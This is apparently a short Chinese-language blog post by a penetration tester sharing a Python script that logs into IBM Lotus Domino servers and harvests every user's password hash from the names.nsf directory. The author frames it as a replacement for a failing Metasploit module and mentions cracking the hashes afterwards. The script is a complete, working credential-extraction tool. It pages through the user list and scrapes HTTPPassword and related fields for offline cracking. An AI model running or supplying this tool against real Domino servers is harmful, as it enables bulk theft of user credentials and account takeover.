IBM Lotus Domino Hash Extractor
最近常碰到 Domino 服务器,老样子先从 names.nsf 开始找密码破解
有时候 Metasploit 不知道为什么会出错,只好自己再造个轮子用了也还顺手
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Updated at 2022-08-16 17:32
# Created by Chris Lin <chris(at)kulisu.me>
import asyncio
from argparse import ArgumentParser, Namespace
from datetime import datetime
from re import findall
from typing import Dict, List, Optional
from aiohttp import BasicAuth, ClientSession, ClientTimeout, TCPConnector
def get_iso8601_timestamp() -> str:
"""
Get formatted ISO 8601 date string
"""
return datetime.now().astimezone().strftime('%Y-%m-%dT%H:%M:%S.%f%z')
async def send_form_login(session: ClientSession, url: str, username: str, password: str, pattern='LoginForm') -> bool:
"""
Send form authentication request and return True if succeed
"""
result: bool = False
try:
url: str = f"{url}/names.nsf?Login"
data: Dict[str, str] = {'Username': username, 'Password': password}
async with session.post(url=url, data=data, allow_redirects=False) as response:
if pattern not in await response.text(errors='ignore'):
result = True
except Exception as error:
print(
f"[E] {get_iso8601_timestamp()} Failed to invoke `send_form_login`"
f", {error.__class__.__name__}: {error}"
)
return result
async def send_http_login(session: ClientSession, url: str, pattern='Error 401') -> bool:
"""
Send HTTP authentication request and return True if succeed
"""
result: bool = False
try:
url: str = f"{url}/names.nsf"
async with session.get(url=url, allow_redirects=False) as response:
if pattern not in await response.text(errors='ignore'):
result = True
except Exception as error:
print(
f"[E] {get_iso8601_timestamp()} Failed to invoke `send_http_login`"
f", {error.__class__.__name__}: {error}"
)
return result
async def fetch_users_list(session: ClientSession, url: str, start: int = 1) -> List[str]:
"""
Fetch all users list (pagination) from remote server
"""
result: List[str] = []
try:
url: str = f"{url}/names.nsf/$defaultview?Readviewentries&Start={start}"
# Fetch record ID (unid) and current index (position)
# <viewentry position="30" unid="AD83ACC76CC5960E9CBD06E9D8C29407" noteid="1ABCD" siblings="1234">
user_pattern: str = '<viewentry.*position=\"(.*?)\".*unid=\"(.*?)\".*>'
# Fetch total record count (toplevelentries)
# <viewentries timestamp="20220816T085800,01Z" toplevelentries="1234">
page_pattern: str = '<viewentries.*toplevelentries=\"(.*?)\".*>'
async with session.get(url=url, allow_redirects=False) as response:
for user in findall(user_pattern, await response.text(errors='ignore')):
if user and len(user) and user[-1] not in result:
result.append(user[-1])
for page in findall(page_pattern, await response.text(errors='ignore')):
if page and len(page) and int(page) > 0:
if int(user[0]) < int(page):
result.extend(await fetch_users_list(session, url, int(user[0]) + 1))
except Exception as error:
print(
f"[E] {get_iso8601_timestamp()} Failed to invoke `fetch_users_list`"
f", {error.__class__.__name__}: {error}"
)
return result
async def fetch_user_information(session: ClientSession, url: str, _id: str, fields: List[str]) -> Dict[str, str]:
"""
Fetch detailed user information from remote server
"""
result: Dict[str, str] = {}
try:
url: str = f"{url}/names.nsf/$defaultview/{_id.upper()}?OpenDocument"
async with session.get(url=url, allow_redirects=False) as response:
html: str = await response.text(errors='ignore')
if html and len(html) and 'httppassword' in html.lower():
for field in fields:
pattern: str = f"<input.*name=\"{field}\".*value=\"(.*?)\".*>"
for match in findall(pattern, html):
if match and len(match):
result[field] = match
break
except Exception as error:
print(
f"[E] {get_iso8601_timestamp()} Failed to invoke `fetch_user_information`"
f", {error.__class__.__name__}: {error}"
)
return result
async def main() -> None:
# Customize aiohttp settings
connector: TCPConnector = TCPConnector(ssl=False)
timeout: ClientTimeout = ClientTimeout(total=300, connect=60)
parser: ArgumentParser = ArgumentParser(description='Domino Hash Extractor')
parser.add_argument('-t', '--target', help='Target URL, example: https://example.com', type=str, required=True)
# TODO: separate username and password to both authentication protocols ?
parser.add_argument('-u', '--username', help='Login Username, example: admin', type=str, required=True)
parser.add_argument('-p', '--password', help='Login Password, example: 123456', type=str, required=True)
parser.add_argument('-F', '--form-auth', help='Use form authentication', action='store_true')
parser.add_argument('-H', '--http-auth', help='Use HTTP authentication', action='store_true')
args: Namespace = parser.parse_args()
if not args.form_auth and not args.http_auth:
print(f"[E] {get_iso8601_timestamp()} Please specify either `--form-auth` or `--http-auth` option")
exit(1)
auth: Optional[BasicAuth] = BasicAuth(args.username, args.password) if args.http_auth else None
fields: List[str] = [
'DisplayName', '$dspHTTPPassword', 'HTTPPassword', 'dspHTTPPassword',
'InternetAddress', 'Comment', 'LastMod', 'HTTPPasswordChangeDate',
]
async with ClientSession(connector=connector, auth=auth, timeout=timeout, trust_env=True) as session:
if args.form_auth:
if await send_form_login(session, args.target, args.username, args.password):
pass
else:
print(
f"[E] {get_iso8601_timestamp()} Failed to login as `{args.username}`, "
f"please check form credential"
)
exit(1)
if args.http_auth:
if await send_http_login(session, args.target):
pass
else:
print(
f"[E] {get_iso8601_timestamp()} Failed to login as `{args.username}`, "
f"please check HTTP credential"
)
exit(1)
users: List[str] = await fetch_users_list(session, args.target)
if users:
for i in range(0, len(users), 10):
tasks: List[asyncio.Task] = []
for user in users[i:i + 10]:
tasks.append(
asyncio.create_task(
fetch_user_information(session, args.target, user, fields)
)
)
if tasks and len(tasks) > 0:
await asyncio.gather(*tasks, return_exceptions=True)
for task in tasks:
if task.result():
parsed: str = '\t'.join(task.result().values())
print(f"[v] {parsed}")
else:
print(f"[E] {get_iso8601_timestamp()} Failed to fetch users list, please check HTTP response")
if __name__ == '__main__':
asyncio.run(main())